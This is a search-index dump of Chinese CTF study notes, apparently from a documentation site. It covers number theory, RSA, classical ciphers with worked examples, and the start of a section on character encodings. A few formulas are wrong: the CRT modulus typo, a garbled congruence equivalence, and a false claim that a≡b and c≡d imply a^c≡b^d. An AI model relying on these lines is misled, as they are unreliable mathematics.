</ul>"},{"location":"NOTE/CTF/Crypto/#_2","title":"\u5bc6\u7801\u5b66\u4ecb\u7ecd","text":""},{"location":"NOTE/CTF/Crypto/#_3","title":"\u4e3a\u4f55\u9700\u8981\u5bc6\u7801\u5b66","text":"<ul> <li>\u5b58\u50a8\uff1a\u4fe1\u606f\u7684\u5b58\u50a8\u53ef\u80fd\u662f\u4e0d\u5b89\u5168\u7684\uff0c\u4f1a\u88ab\u7a83\u53d6</li> <li>\u4f20\u8f93\uff1a\u4fe1\u606f\u7684\u4f20\u8f93\u8fc7\u7a0b\u53ef\u80fd\u4e5f\u4e0d\u662f\u9690\u79d8\u7684\uff0c\u4f1a\u88ab\u7a83\u542c</li> </ul> <p>\u4e0d\u80fd\u76f4\u63a5\u4f7f\u7528\u660e\u6587\u8fdb\u884c\u5b58\u50a8\u548c\u4f20\u8f93\uff01</p>"},{"location":"NOTE/CTF/Crypto/#crypto-in-ctf","title":"Crypto in CTF","text":"<p>\u51fa\u9898\u4eba\u7ed9\u5b9a\u4e00\u4e2a\u6709\u4e00\u5b9a\u7f3a\u9677\u7684\u52a0\u5bc6\u7b97\u6cd5\uff0c\u9700\u8981\u9009\u624b\u653b\u7834\u8be5\u52a0\u5bc6\u7b97\u6cd5\uff0c\u5f97\u5230\u89e3\u5bc6\u540e\u7684\u6587\u5b57\uff0c\u6216\u8005\u4f2a\u9020\u52a0\u5bc6\u4fe1\u606f</p> <p>\u6bd4\u8d5b\u4e2d\u9898\u76ee\u867d\u7136\u5e38\u5e38\u4f1a\u6d89\u53ca\u8bb8\u591a\u8f83\u65b0\u7684\u8bba\u6587\u7814\u7a76\u7ed3\u679c\uff0c\u4f46\u662f\u4ecd\u4e0e\u76ee\u524d\u9690\u79c1\u8ba1\u7b97\u7b49\u524d\u6cbf\u5bc6\u7801\u5b66\u5b89\u5168\u7814\u7a76\u6709\u4e00\u5b9a\u8ddd\u79bb</p>"},{"location":"NOTE/CTF/Crypto/#crypto_1","title":"Crypto\u5b66\u4e60\u8d44\u6e90\u63a8\u8350","text":"<ul> <li>CTF Wiki</li> <li>4\u8001\u5e08\u503e\u60c5\u63a8\u8350\u7684\u5bc6\u7801\u5b66\u505a\u9898\u7f51\u7ad9\uff1aCryptoHack</li> <li>\u5bc6\u7801\u5b66\u5165\u95e8\u4e66\u7c4d\uff1aAn introduction to mathematical cryptography</li> </ul>"},{"location":"NOTE/CTF/Crypto/#_4","title":"\u57fa\u672c\u672f\u8bed","text":"<ul> <li>\u6d88\u606f\u88ab\u79f0\u4e3a\u660e\u6587\uff08Plaintext\uff09\u3002\u7528\u67d0\u79cd\u65b9\u6cd5\u4f2a\u88c5\u6d88\u606f\u4ee5\u9690\u85cf\u5b83\u7684\u5185\u5bb9\u7684\u8fc7\u7a0b\u79f0\u4e3a\u52a0\u5bc6 \uff08Encryption\uff09\uff0c\u88ab\u52a0\u5bc6\u7684\u6d88\u606f\u79f0\u4e3a\u5bc6\u6587\uff08Ciphertext\uff09\uff0c\u628a\u5bc6\u6587\u6062\u590d\u4e3a\u660e\u6587\u7684\u8fc7\u7a0b\u79f0\u4e3a\u5bc6\uff08Decryption\uff09\u3002</li> <li>\u5bc6\u7801\u7b97\u6cd5\uff08Cryptography Algorithm\uff09\uff1a\u662f\u7528\u4e8e\u52a0\u5bc6\u548c\u89e3\u5bc6\u7684\u6570\u5b66\u51fd\u6570\u3002</li> <li>\u5bc6\u94a5\uff08Key\uff09\uff1a\u52a0\u5bc6\u6216\u89e3\u5bc6\u6240\u9700\u8981\u7684\u9664\u5bc6\u7801\u7b97\u6cd5\u4e4b\u5916\u7684\u5173\u952e\u4fe1\u606f\u3002</li> <li>\u5bf9\u79f0\u52a0\u5bc6\uff08Symmetric Cryptography\uff09<ul> <li>\u7279\u70b9\uff1a\u5728\u52a0\u5bc6\u548c\u89e3\u5bc6\u65f6\u4f7f\u7528\u540c\u4e00\u5bc6\u94a5</li> <li>\u4f8b\u5b50\uff1a\u6d41\u5bc6\u7801\uff08RC4\uff09\uff0c\u5757\u5bc6\u7801\uff08AES\uff0cDES\uff09</li> </ul> </li> <li>\u975e\u5bf9\u79f0\u52a0\u5bc6\uff08Asymmetric Cryptography\uff09<ul> <li>\u7279\u70b9\uff1a\u5728\u52a0\u5bc6\u548c\u89e3\u5bc6\u65f6\u4f7f\u7528\u4e0d\u540c\u5bc6\u94a5\uff0c\u52a0\u5bc6\u4f7f\u7528\u516c\u94a5\uff0c\u89e3\u5bc6\u4f7f\u7528\u79c1\u94a5</li> <li>\u4f8b\u5b50\uff1aRSA\uff0cElGamal\uff0cECC</li> </ul> </li> <li>\u54c8\u5e0c\u51fd\u6570\uff08Hash Function\uff09<ul> <li>\u7279\u70b9\uff1a\u628a\u8f93\u5165\u5185\u5bb9\u5355\u5411\u6620\u5c04\u5230\u4e00\u4e2a\u77ed\u7684\u6458\u8981\u4e0a</li> <li>\u5e94\u7528\uff1a\u4e0b\u8f7d\u6587\u4ef6\u5b8c\u6574\u6027\u6821\u9a8c</li> <li>\u4f8b\u5b50\uff1aCRC\uff0cMD5\uff0cSHA\u7cfb\u5217</li> </ul> </li> <li>\u6570\u5b57\u7b7e\u540d\uff08Digital Signature\uff09<ul> <li>\u5e94\u7528\uff1a\u5bf9\u6d88\u606f\u8fdb\u884c\u7b7e\u540d\uff08\u4e5f\u662f\u4e00\u4e2a\u77ed\u7684\u6d88\u606f\uff09\uff0c\u4ee5\u9632\u6d88\u606f\u7684\u5192\u540d\u4f2a\u9020\u6216\u7be1\u6539</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Crypto/#_5","title":"\u6570\u5b66\u57fa\u7840","text":""},{"location":"NOTE/CTF/Crypto/#oi-wiki","title":"OI Wiki \u6570\u8bba\u90e8\u5206","text":""},{"location":"NOTE/CTF/Crypto/#a-mid-b","title":"\u6574\u9664\uff1a$ a \\mid b $","text":"<ul> <li>\\(\\forall a \\in \\mathbb{Z}~, 1 \\mid a\\) \uff1b\u82e5 \\(a \\neq 0\\)\uff0c\u5219 \\(a \\mid 0\\) \u4e14 \\(a \\mid a\\)</li> <li>\u82e5 \\(a \\mid b\\) \u4e14 \\(b \\mid c\\)\uff0c\u5219 \\(a \\mid c\\)</li> <li>\u82e5 \\(a \\mid b\\) \u4e14 \\(a \\mid c\\)\uff0c\u5219 \\(a \\mid (sb + tc)\\)\uff0c\u5176\u4e2d \\(s, t \\in \\mathbb{Z}\\)</li> </ul>"},{"location":"NOTE/CTF/Crypto/#greatest-common-divisor-gcd-gcda-b","title":"\u6700\u5927\u516c\u56e0\u6570\uff08Greatest Common Divisor, GCD\uff09\uff1a$ \\gcd(a, b) $","text":"<ul> <li>\\(\\gcd(a, b) = \\gcd(b, a)\\)</li> <li>\\(\\gcd(a, b) = \\gcd(a, b - a)\\)</li> <li>\\(\\gcd(a, b) = \\gcd(a, b \\mod a)\\)</li> </ul> <p>\u7279\u522b\u7684\uff0c\u5f53 \\(a\\)\u3001\\(b\\)\u4e92\u7d20\uff0c\u5373 $ \\gcd(a, b) = 1 $\u65f6\uff0c\u4e00\u5b9a\u5b58\u5728\u6574\u6570 \\(x, y\\) \u4f7f\u5f97 \\(ax + by = 1\\)</p>"},{"location":"NOTE/CTF/Crypto/#_6","title":"\u7b97\u6570\u57fa\u672c\u5b9a\u7406","text":"<p>\u4efb\u4f55\u4e00\u4e2a\u5927\u4e8e \\(1\\) \u7684\u81ea\u7136\u6570 \\(n\\) \u90fd\u53ef\u4ee5\u552f\u4e00\u5730\u5206\u89e3\u4e3a\u82e5\u5e72\u4e2a\u7d20\u6570\u7684\u4e58\u79ef $$ n = p_1^{a_1} \\times p_2^{a_2} \\cdots  \\times p_k^{a_k} $$ \u5176\u4e2d \\(p_1, p_2, \\cdots, p_k\\) \u662f\u7d20\u6570\uff0c\\(a_1, a_2, \\cdots, a_k\\) \u662f\u6b63\u6574\u6570</p>"},{"location":"NOTE/CTF/Crypto/#_7","title":"\u540c\u4f59","text":"<p>\\(a,b\\)\u5bf9\u4e8e\u6a21\\(n\\)\u540c\u4f59\uff1a\\(a \\equiv b \\pmod{n}\\)</p> <p>\u8bbe \\(a, b, c, d, n\\)\u5747\u4e3a\u6574\u6570\uff0c\u4e14 \\(n \\neq 0\\)\uff0c\u5219\u6709\uff1a</p> <ul> <li>$ n \\mid a \\Leftrightarrow a \\equiv b \\pmod{n} $</li> <li>$ a \\equiv a \\pmod{n} $</li> <li>\u82e5 \\(a \\equiv b \\pmod{n}\\)\uff0c\\(c \\equiv d \\pmod{n}\\)\uff0c\u5219 \\(a \\pm c \\equiv b \\pm d \\pmod{n}\\)\uff0c\\(ac \\equiv bd \\pmod{n}\\)</li> <li>\u82e5 \\(a \\equiv b \\pmod{n}\\)\uff0c\u5219 \\(a^k \\equiv b^k \\pmod{n}\\)</li> <li>\u82e5 \\(a \\equiv b \\pmod{n}\\)\uff0c\\(c \\equiv d \\pmod{n}\\)\uff0c\u5219 \\(a^c \\equiv b^d \\pmod{n}\\)</li> <li>\u82e5 \\(a + b \\equiv 0 \\pmod{n}\\)\uff0c\u5219\u79f0 \\(a\\) \u4e0e \\(b\\) \u4e92\u4e3a\u52a0\u6cd5\u6a21 \\(n\\) \u9006\u5143</li> <li>\u82e5 \\(ab \\equiv 1 \\pmod{n}\\)\uff0c\u5219\u79f0 \\(a\\) \u4e0e \\(b\\) \u4e92\u4e3a\u4e58\u6cd5\u6a21 \\(n\\) \u9006\u5143\u3002\\(a\\) \u7684\u4e58\u6cd5\u6a21 \\(n\\) \u9006\u5143\u8bb0\u4e3a \\(a^{-1}\\) \uff0c\\(a\\) \u6709\u4e58\u6cd5\u6a21 \\(n\\) \u9006\u5143\u5f53\u4e14\u4ec5\u5f53 \\(\\gcd(a, n) = 1\\)</li> </ul>"},{"location":"NOTE/CTF/Crypto/#_8","title":"\u4e2d\u56fd\u5269\u4f59\u5b9a\u7406","text":"<p>\u82e5 \\(m_1, m_2, \\cdots, m_k\\) \u662f\u4e24\u4e24\u4e92\u8d28\u7684\u6b63\u6574\u6570\uff0c\u5219\u5bf9\u4e8e\u4efb\u610f\u7684\u6574\u6570 \\(a_1, a_2, \\cdots, a_k\\)\uff0c\u540c\u4f59\u65b9\u7a0b\u7ec4 \\[ \\begin{cases}     x \\equiv a_1 \\pmod{m_1} \\\\     x \\equiv a_2 \\pmod{m_2} \\\\     \\cdots \\\\     x \\equiv a_k \\pmod{m_k} \\end{cases} \\] \u5bf9\u6a21 \\(m = m_{1}m_{1} \\cdots m_{1}\\) \u6709\u552f\u4e00\u89e3 \\(x\\)\u3002</p> <p>\u8bbe \\(M_i = \\frac{m}{m_i}\\)\uff0c\u5219 \\(M_i\\) \u4e0e \\(m_i\\) \u4e92\u8d28\uff0c\u5b58\u5728\u6574\u6570 \\(N_i\\) \u4f7f\u5f97 \\(M_iN_i \\equiv 1 \\pmod{m_i}\\)\uff08\\(N_i\\) \u4e3a \\(M_i\\) \u7684\u6a21 \\(m_i\\) \u4e58\u6cd5\u9006\u5143\uff09\uff0c\u5219 $$ x = \\sum_{i=1}^{k} a_iM_iN_i $$</p>"},{"location":"NOTE/CTF/Crypto/#_9","title":"\u6b27\u62c9\u51fd\u6570","text":"<p>\u5bf9\u4e8e\u6b63\u6574\u6570 \\(n\\)\uff0c\u6b27\u62c9\u51fd\u6570 \\(\\varphi(n)\\) \u5b9a\u4e49\u4e3a\u5c0f\u4e8e\u7b49\u4e8e \\(n\\) \u7684\u6b63\u6574\u6570\u4e2d\u4e0e \\(n\\) \u4e92\u8d28\u7684\u6570\u7684\u4e2a\u6570</p> <ul> <li>\u82e5 \\(n = p_1^{a_1} \\times p_2^{a_2} \\cdots  \\times p_k^{a_k}\\)\uff0c\u5219 \\(\\varphi(n) = n \\times (1 - \\frac{1}{p_1}) \\times (1 - \\frac{1}{p_2}) \\cdots (1 - \\frac{1}{p_k})\\)</li> <li>\u82e5 \\(n = p^a\\)\uff0c\u5219 \\(\\varphi(n) = p^a - p^{a-1} = p^{a-1}(p-1)\\)</li> <li>\u82e5 \\(n = p \\times q\\)\uff0c\u4e14 \\(p, q\\) \u4e92\u8d28\uff0c\u5219 \\(\\varphi(n) = \\varphi(p) \\times \\varphi(q)\\)</li> <li>\u82e5 \\(n = p \\times q\\)\uff0c\u4e14 \\(p, q\\) \u4e3a\u4e0d\u540c\u7684\u8d28\u6570\uff0c\u5219 \\(\\varphi(n) = (p-1)(q-1) = \\varphi(p) \\times \\varphi(q)\\)</li> </ul>"},{"location":"NOTE/CTF/Crypto/#_10","title":"\u6b27\u62c9\u5b9a\u7406","text":"<p>\u82e5 \\(a, n\\) \u4e92\u8d28\uff0c\u5219 \\(a^{\\varphi(n)} \\equiv 1 \\pmod{n}\\)</p> <p>\u8d39\u9a6c\u5c0f\u5b9a\u7406\uff08\u6b27\u62c9\u5b9a\u7406\u7684\u7279\u4f8b\uff09\uff1a\u5f53 \\(n\\) \u4e3a\u8d28\u6570\u65f6\uff0c\\(\\varphi(n) = n - 1\\)\uff0c\u5373 \\(a^{n-1} \\equiv 1 \\pmod{n}\\)</p>"},{"location":"NOTE/CTF/Crypto/#rsa","title":"RSA\u7b97\u6cd5","text":"<ul> <li>\u9009\u62e9\u4e24\u4e2a\u5927\u8d28\u6570 \\(p, q\\)\uff0c\u8ba1\u7b97 \\(n = p \\times q\\)\uff0c\\(\\varphi(n) = (p-1)(q-1)\\)</li> <li>\u9009\u62e9 \\(e\\)\uff0c\u4f7f\u5f97 \\(1 &lt; e &lt; \\varphi(n)\\)\uff0c\u4e14 \\(\\gcd(e, \\varphi(n)) = 1\\)</li> <li>\u8ba1\u7b97 \\(d\\)\uff0c\u4f7f\u5f97 \\(d \\equiv e^{-1} \\pmod{\\varphi(n)}\\) \uff0c\u5373 \\(d \\times e \\equiv 1 \\pmod{\\varphi(n)}\\)</li> <li>\u4e8e\u662f\u5f97\u5230\u516c\u94a5\u4e3a \\((e, n)\\)\uff0c\u79c1\u94a5\u4e3a \\((d, n)\\)\uff0c \u8bbe\u660e\u6587\u4e3a \\(m\\)\uff0c\u5bc6\u6587\u4e3a \\(c\\)\uff0c\u82e5\u6d88\u606f\u592a\u957f\uff0c\u53ef\u5c06\u6d88\u606f\u5206\u6bb5\u52a0\u5bc6<ul> <li>\u52a0\u5bc6\uff1a\\(c = m^e \\mod n\\)</li> <li>\u89e3\u5bc6\uff1a\\(m = c^d \\mod n\\)</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Crypto/#_11","title":"\u53e4\u5178\u5bc6\u7801","text":"<ul> <li>\u4ee3\u6362\uff08substitution\uff09\u5bc6\u7801\u2014\u2014\u7528\u65b0\u7684\u66ff\u6362\u539f\u5148\u7684\u5185\u5bb9</li> <li>\u7f6e\u6362\uff08permutation\uff09\u5bc6\u7801\u2014\u2014\u6253\u4e71\u539f\u5148\u7684\u987a\u5e8f</li> <li>Hill\u5bc6\u7801</li> </ul>"},{"location":"NOTE/CTF/Crypto/#_12","title":"\u51ef\u6492\u5bc6\u7801","text":"<p>\u53c8\u79f0\u52a0\u6cd5\u5bc6\u7801\uff0c\u662f\u4e00\u79cd\u6700\u7b80\u5355\u7684\u66ff\u6362\u5bc6\u7801\uff0c\u662f\u4e00\u79cd\u4f7f\u7528\u6052\u5b9a\u504f\u79fb\u91cf\u7684\u66ff\u6362\u5bc6\u7801\uff0c\u5c06\u5b57\u6bcd\u8868\u4e2d\u7684\u6bcf\u4e2a\u5b57\u6bcd\u5faa\u73af\u79fb\u52a8\u56fa\u5b9a\u4f4d\u6570\u5f97\u5230\u5bc6\u6587</p> <ul> <li>\u52a0\u5bc6\uff1a\\(y = \\text{encode}(x) = (x + key) \\mod 26\\)</li> <li>\u89e3\u5bc6\uff1a\\(x = \\text{decode}(y) = (y - key) \\mod 26\\)</li> <li>\u7834\u89e3\uff1a\u66b4\u529b\u679a\u4e3e\u89c2\u5bdf\u7ed3\u679c\uff08\u5e38\u89c1\u7f16\u7801ROT13\uff0c\u53d6\\(key = 13\\)\uff09</li> </ul> <p>\u4e00\u822c\u7684\u51ef\u6492\u52a0\u5bc6\u53ea\u4f5c\u7528\u4e8e26\u4e2a\u5b57\u6bcd\uff0c\u4f46\u4e5f\u53ef\u62d3\u5c55\u5230ASCII\u7801\u8868\u4e0a\uff08\u5e38\u89c1\u7f16\u7801ROT47\uff0c\u5c0633~126\u4f5c\u4e3a\u5b57\u6bcd\u8868\uff0c\u53d6\\(key = 47\\)\uff09</p>"},{"location":"NOTE/CTF/Crypto/#_13","title":"\u4eff\u5c04\u5bc6\u7801","text":"<p>\u4eff\u5c04\u5bc6\u7801\u662f\u4e00\u79cd\u7ebf\u6027\u66ff\u6362\u5bc6\u7801\uff0c\u7c7b\u4f3c\u4e8e\u51ef\u6492\u52a0\u5bc6\uff0c\u4f46\u4e0d\u6b62\u8fdb\u884c\u52a0\u6cd5</p> <ul> <li>\u52a0\u5bc6 \\(y = \\text{encoude}(x) = (x \\times key_1 + key_2) \\mod 26\\)</li> <li>\u89e3\u5bc6 \\(x = \\text{decode}(y) = (y - key_2) \\times key_1^{-1}  \\mod 26\\)</li> <li>\u7834\u89e3\uff1a\u5355\u8868\u5bc6\u7801\u52a0\u5bc6\u524d\u540e\u7684\u5b57\u7b26\u662f\u4e00\u4e00\u5bf9\u5e94\u7684\uff0c\u4e0d\u4f1a\u7834\u574f\u7edf\u8ba1\u89c4\u5f8b\uff0c\u6839\u636e\u82f1\u6587\u6587\u672c\u4e2d\u5b57\u6bcd\u51fa\u73b0\u7684\u9891\u7387\u4ee5\u53ca\u4e00\u4e9b\u5e38\u89c1\u5355\u8bcd\u5373\u53ef\u8f7b\u677e\u7834\u89e3(\u5982<code>the</code>, <code>and</code>, <code>you</code> <code>a</code>\u7b49)</li> </ul>"},{"location":"NOTE/CTF/Crypto/#_14","title":"\u7ef4\u5409\u5c3c\u4e9a\u5bc6\u7801","text":"<p>\u4e00\u79cd\u591a\u8868\u52a0\u5bc6\u7684\u66ff\u6362\u5bc6\u7801\uff0c\u5bc6\u94a5\u4efb\u610f\u957f\uff0c\u5e76\u4e14\u4ee5\u5faa\u73af\u4f7f\u7528\uff0c\u7b2c \\(i\\) \u4e2a\u5b57\u7b26\u7528\u7b2c \\(i\\) \u4e2a\u5bc6\u94a5\u8fdb\u884c\u504f\u79fb</p> <ul> <li>\u52a0\u5bc6\uff1a\\(y_i = \\text{encode}(x_i) = (x_i + key_i) \\mod 26\\)</li> <li>\u89e3\u5bc6\uff1a\\(x_i = \\text{decode}(y_i) = (y_i - key_i) \\mod 26\\)</li> </ul> <p></p> <p>\u4f8b\uff1a\u660e\u6587CRANE\uff0c\u5bc6\u94a5TONY</p> <ul> <li>(C, T) \\(\\rightarrow\\) V</li> <li>(R, O) \\(\\rightarrow\\) F</li> <li>(A, N) \\(\\rightarrow\\) N</li> <li>(N, Y) \\(\\rightarrow\\) L</li> <li>(E, T) \\(\\rightarrow\\) X</li> </ul> <p>\u7834\u89e3\uff1a\u786e\u5b9a\u5bc6\u94a5\u957f\u5ea6 \\(\\rightarrow\\) \u5206\u7ec4\u7206\u7834\u52a0\u6cd5\u5bc6\u7801 \\(\\rightarrow\\) \u5f97\u5230\u5bc6\u94a5</p>"},{"location":"NOTE/CTF/Crypto/#_15","title":"\u7f6e\u6362\u5bc6\u7801","text":"<p>\u52a0\u5bc6\u53d8\u6362\u4f7f\u5f97\u4fe1\u606f\u5143\u7d20\u53ea\u6709\u4f4d\u7f6e\u53d8\u5316\u800c\u5185\u5bb9\u4e0d\u53d8\uff0c\u6bd4\u5982\u5bf9\u4e8e\u4e00\u79cd\u7f6e\u6362\u5bc6\u7801\uff0c\u5176\u7f6e\u6362\u8868\u4e3a</p> X 1 2 3 4 5 6 E(X) 3 5 1 6 4 2 <p>\u5bf9\u4e8e\u660e\u6587\\(\\texttt{crypto basic}\\)\uff0c\u5148\u8fdb\u884c\u5206\u7ec4\uff08\u4e0d\u8db3\u9700\u586b\u5145\uff09\uff1a\\(\\texttt{[crypto]}\\)\u548c\\(\\texttt{[ basic]}\\)\uff0c\u7136\u540e\u5bf9\u6bcf\u4e00\u7ec4\u8fdb\u884c\u7f6e\u6362\uff1a \u5bf9\u6bcf\u4e00\u7ec4\u8fdb\u884c\u7f6e\u6362\uff1a \\(\\texttt{[crypto]} \\rightarrow \\texttt{[yoctrp]}\\) \\(\\texttt{[ basic]} \\rightarrow \\texttt{[ac ibs]}\\) \u6700\u7ec8\u5bc6\u6587\u5c31\u662f\\(\\texttt{yoctrpac ibs}\\)</p>"},{"location":"NOTE/CTF/Crypto/#_16","title":"\u6805\u680f\u5bc6\u7801","text":"<p>\u6805\u680f\u5bc6\u7801\u4e5f\u662f\u4e00\u79cd\u7f6e\u6362\u5bc6\u7801\uff0c\u5176\u5c06\u660e\u6587\u5206\u5272\u6210k\u884c\uff0c\u7136\u540e\u91cd\u65b0\u62fc\u63a5\uff0c\u8fd9\u91cck\u5373\u4e3a\u52a0\u5bc6\u7684\u5bc6\u94a5</p> <p>\u5bf9\u4e8e\u660e\u6587\\(\\texttt{crypto basic}\\),\u53d6 \\(k=3\\) \uff0c\u5c06\u660e\u6587\u5206\u5272\u6210\u4e09\u884c</p> c p s r t b i y o a c <p>\u56e0\u6b64\u5f97\u5230\u7684\u5bc6\u6587\u4e3a\\(\\texttt{cp srtbiyoac}\\)</p>"},{"location":"NOTE/CTF/Crypto/#hill","title":"Hill\u5bc6\u7801","text":"<p>\u5e0c\u5c14\u5bc6\u7801\u662f\u8fd0\u7528\u57fa\u672c\u7ebf\u6027\u4ee3\u6570\u539f\u7406\u5b9e\u73b0\u7684\u66ff\u6362\u5bc6\u7801</p> <p>\u6bcf\u4e2a\u5b57\u6bcd\u5f53\u4f5c26\u8fdb\u5236\u6570\u5b57\uff0c\u5c06\u4e00\u4e32\u5b57\u6bcd\u5f53\u6210 \\(n\\) \u7ef4\u5411\u91cf\uff0c\u4e0e\u4e00\u4e2a \\(n \\times n\\) \u7684\u77e9\u9635\u76f8\u4e58\uff0c\u518d\u5c06\u5f97\u51fa\u7684\u7ed3\u679c mod 26\uff0c\u5176\u4e2d\u8fd9\u4e2a \\(n \\times n\\) \u77e9\u9635\u5c31\u662f\u5bc6\u94a5</p> <p>\u6bd4\u5982\u660e\u6587 \\(\\texttt{IT}\\) \uff0c\u8f6c\u6362\u621026\u8fdb\u5236\u4e3a$P = \\begin{bmatrix} 9 &amp; 20 \\end{bmatrix} $\uff0c\u52a0\u5bc6\u5bc6\u94a5 $ K = \\begin{bmatrix} 11 &amp; 8 \\\\ 3 &amp; 7 \\end{bmatrix} $</p> <p>\u5bc6\u6587\u5373\u4e3a$ C = P \\times K = \\begin{bmatrix} 159 &amp; 212 \\end{bmatrix}\\mod 26 = \\begin{bmatrix} 3 &amp; 4 \\end{bmatrix} $\uff0c\u8f6c\u56de\u5b57\u6bcd\u5373 $\\texttt{CD} $ \u89e3\u5bc6\u53ea\u9700\u8981\u8ba1\u7b97 \\(K\\) \u7684\u9006\u77e9\u9635\u5373\u53ef\uff0c$ P = C \\times K^{-1} = \\begin{bmatrix} 3 &amp; 4 \\end{bmatrix} \\times \\begin{bmatrix} 7 &amp; 18 \\\\ 23 &amp; 11 \\end{bmatrix} = \\begin{bmatrix} 9 &amp; 20 \\end{bmatrix} $\uff0c\u518d\u8f6c\u56de\u5b57\u6bcd\u5373 $\\texttt{IT} $</p>"},{"location":"NOTE/CTF/Misc/","title":"Misc","text":"<p> \u7ea6 6316 \u4e2a\u5b57  9 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 22 \u5206\u949f</p>"},{"location":"NOTE/CTF/Misc/#7-4-lec3-misc","title":"7-4 lec3-Misc","text":"<p>\u6388\u8bfe\uff1agoduck </p>"},{"location":"NOTE/CTF/Misc/#misc","title":"\u4ec0\u4e48\u662fMisc","text":"<ul> <li>\u6742\u9879 ALL-PWN-WEB-CRYPTO - REVERSE</li> <li>\u9690\u5199\u3001\u53d6\u8bc1\u3001OSINT\uff08\u4fe1\u606f\u641c\u96c6\uff09\u3001PPC\uff08\u7f16\u7a0b\u7c7b\uff09 \u2014\u2014\u4f20\u7edf misc \u9898</li> <li>\u6e38\u620f\u7c7b\u9898\u76ee\uff08\u5927\u6982\u4e5f\u7b97 PPC\uff09\u3001\u5de5\u5177\u8fd0\u7528\u7c7b\u9898\u76ee</li> <li>\u7f16\u89e3\u7801\u3001\u53e4\u5178\u5bc6\u7801 \u2014\u2014\u4e0d\u90a3\u4e48 crypto \u7684 crypto</li> <li>\u7f51\u7edc\u89e3\u8c1c\u3001\u7f51\u7ad9\u4ee3\u7801\u5ba1\u8ba1 \u2014\u2014\u4e0d\u90a3\u4e48 web \u7684 web</li> <li>\u4ee3\u7801\u5ba1\u8ba1\u3001\u6c99\u7bb1\u9003\u9038 \u2014\u2014\u4e0d\u90a3\u4e48 binary \u7684 binary</li> <li>Blockchain\u3001IoT\u3001AI \u2014\u2014\u65b0\u5174\u7c7b\u522b\u9898\u76ee</li> </ul>"},{"location":"NOTE/CTF/Misc/#_1","title":"\u7f16\u7801\u57fa\u7840","text":"<ul> <li>\u4e00\u5207\u4fe1\u606f\u5728\u8ba1\u7b97\u673a\u770b\u6765\u90fd\u662f 0 \u548c 1<ul> <li>\u7f16\u89e3\u7801 / \u52a0\u89e3\u5bc6 / \u54c8\u5e0c\u90fd\u662f\u5728 01 \u4e32\u4e4b\u95f4\u8fdb\u884c\u7684\u53d8\u6362</li> </ul> </li> <li>\u4e3a\u4ec0\u4e48\u4f60\u770b\u89c1\u7684\u8f93\u5165\u8f93\u51fa\u662f\u5b57\u7b26\uff1f<ul> <li>\u8ba1\u7b97\u673a\u901a\u8fc7\u5b57\u7b26\u7f16\u7801\u89c4\u5219\u5c06 01 \u4e32\u8f6c\u6362\u4e3a\u4e86\u53ef\u89c1\u5b57\u7b26</li> </ul> </li> <li>\u4e09\u79cd\u5e38\u89c1\u768401\u4e32\u8f6c\u6362\u65b9\u5f0f      <ul> <li>\u5e38\u7528\u7684\u89e3\u7801\u5de5\u5177 CyperChef </li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#_2","title":"\u4e3a\u4ec0\u4e48\u4f1a\u4e71\u7801","text":"<ul> <li> <p>\u5b57\u7b26\u7f16\u7801\uff1a\u4eba\u7c7b\u7406\u89e3\u7684\u5b57\u7b26 &gt; \u8ba1\u7b97\u673a\u7406\u89e3\u7684 01 \u4e32 \u4e4b\u95f4\u7684\u6620\u5c04</p> </li> <li> <p>\u4e3a\u4ec0\u4e48\u4f1a\u51fa\u73b0\u4e71\u7801\uff1a\u7528\u4e00\u79cd\u5b57\u7b26\u7f16\u7801\u89c4\u5219\u89e3\u8bfb\u53e6\u4e00\u79cd\u5b57\u7b26\u7f16\u7801\u7684 01 \u4e32 \uff1bA0-FF\uff1a\u53ef\u89c1\u5b57\u7b26</p> <ul> <li>\u7279\u70b9\uff1a\u4efb\u4f55\u5b57\u8282\u6d41\u90fd\u53ef\u4ee5\u7528\u5176\u89e3\u7801</li> </ul> </li> <li>\u5229\u7528 Unicode \u5b57\u7b26\u96c6\u7684</li> <li>\u5e38\u89c1\u7684\u5b57\u7b26\u7f16\u7801\uff1a</li> <li>ASCII\uff1a\u4e00\u5171 128 \u4e2a\u9879\uff0c\u5373\u6bcf\u4e2a\u5b57\u7b26\u53ef\u4ee5\u7528\u4e00\u4e2a 7 \u4f4d\u7684 01 \u4e32\u8868\u793a\uff08\u6216\u4e00\u5b57\u8282\uff09<ul> <li>00-1F\uff1a\u63a7\u5236\u5b57\u7b26\uff1b20-7E\uff1a\u53ef\u89c1\u5b57\u7b26\uff1b7F\uff1a\u63a7\u5236\u5b57\u7b26\uff08DEL\uff09</li> </ul> </li> <li>Latin-1\uff08ISO-8859-1\uff09\uff1a\u6269\u5c55\u4e86 ASCII\uff0c\u4e00\u5171 256 \u4e2a\u9879<ul> <li>80-9F\uff1a\u63a7\u5236\u5b57\u7b26\u4e00\u7cfb\u5217\u7f16\u7801</li> <li>UTF-8 / UTF-16 / UTF-32 / UCS</li> </ul> </li> <li>\u4e2d\u56fd\u56fd\u6807\u5b57\u7b26\u96c6\u7cfb\u5217\u7f16\u7801<ul> <li>GB 2312 / GBK / GB 18030-2022</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#_3","title":"\u600e\u4e48\u5c31\u4e71\u7801\u4e86","text":"<p>\u51e0\u4e2a\u5b57\u7b26\u96c6\u4e0d\u517c\u5bb9\u7684\u90e8\u5206\u4e92\u76f8\u7f16\u89e3\u7801\uff0c\u5e38\u89c1\u7684\uff1a</p> <ul> <li>\u7528 GBK \u89e3\u7801 UTF-8 \u7f16\u7801\u7684\u6587\u672c</li> <li>\u7528 UTF-8 \u89e3\u7801 GBK \u7f16\u7801\u7684\u6587\u672c</li> <li>\u7528 latin-1 \u89e3\u7801 UTF-8 \u7f16\u7801\u7684\u6587\u672c</li> <li>\u7528 latin-1 \u89e3\u7801 GBK \u7f16\u7801\u7684\u6587\u672c</li> <li>\u5148\u7528 GBK \u89e3\u7801 UTF-8 \u7f16\u7801\u7684\u6587\u672c\uff0c\u518d\u7528 UTF-8 \u89e3\u7801\u524d\u9762\u7684\u7ed3\u679c</li> <li>\u5148\u7528 UTF-8 \u89e3\u7801 GBK \u7f16\u7801\u7684\u6587\u672c\uff0c\u518d\u7528 GBK \u89e3\u7801\u524d\u9762\u7684\u7ed3\u679c</li> <li>\u8fd9\u91cc\u6211\u4eec\u8bf7\u540c\u5b66\u4eec\u81ea\u884c\u7814\u7a76\uff0clab 